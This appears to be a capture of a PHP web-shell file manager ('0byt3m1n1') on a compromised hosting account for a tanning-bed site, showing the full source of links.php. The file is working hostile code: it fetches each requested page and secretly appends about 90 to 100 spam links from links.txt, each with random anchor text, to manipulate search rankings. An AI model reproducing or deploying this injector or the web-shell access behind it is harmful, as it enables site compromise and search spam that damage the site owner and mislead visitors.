0byt3m1n1
Path:
/
data
/
17
/
1
/
18
/
11
/
1670011
/
user
/
1801231
/
htdocs
/
customtanningbed_dot_com
/
[
Home
]
File: links.php
<?php $request_url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $request_file = explode("/", $_SERVER['REQUEST_URI']); $request_file = array_reverse($request_file); $request_file = $request_file[0]; if($request_file == ""){ $request_uri = substr($_SERVER['REQUEST_URI'], 1); if(file_exists($request_uri."index.php")){ $request_file = 'index.php'; }elseif (file_exists($request_uri."index.html")){ $request_file = 'index.html'; }elseif (file_exists($request_uri."index.htm")){ $request_file = 'index.htm'; }else{ exit(); } $request_url = $request_url.$request_file; } $path_parts = pathinfo($request_url); $parsed_url = parse_url($request_url); if (isset($path_parts['extension']) && !file_exists(dirname(__FILE__) . $parsed_url['path'])) { header('HTTP/1.0 404 Not Found'); exit(); } $content = ''; if (!isset($path_parts['extension']) || $path_parts['extension'] == 'php') { $content = file_get_contents($request_url); if(strlen($content) < 1){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $request_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36'); $content = curl_exec($ch); curl_close($ch); } } else { $path = dirname(__FILE__) . $parsed_url['path']; $content = file_get_contents($path); } $linksFile = 'links.txt'; $links = file($linksFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); if (count($links) < 1) exit(); srand(crc32($request_url)); $ids = array(); if (count($links) < 100) { $ids = array_keys($links); } else { $ids = array_rand($links, rand(90, 100)); } shuffle($ids); $result = array(); foreach ($ids as $i) { $url_anchor = explode("|", $links[$i]); $anchor = substr(str_shuffle(str_repeat($x = 'abcdefghijklmnopqrstuvwxyz', ceil(2 + rand(0, 6) / strlen($x)))), 1, 1 + rand(1, 7)); $result[] = '<a href="' . $url_anchor[0] . '">' . $anchor . ' </a>'; } $content .= "\n".implode("", $result); header('HTTP/1.1 200 OK'); echo $content; exit(); ?>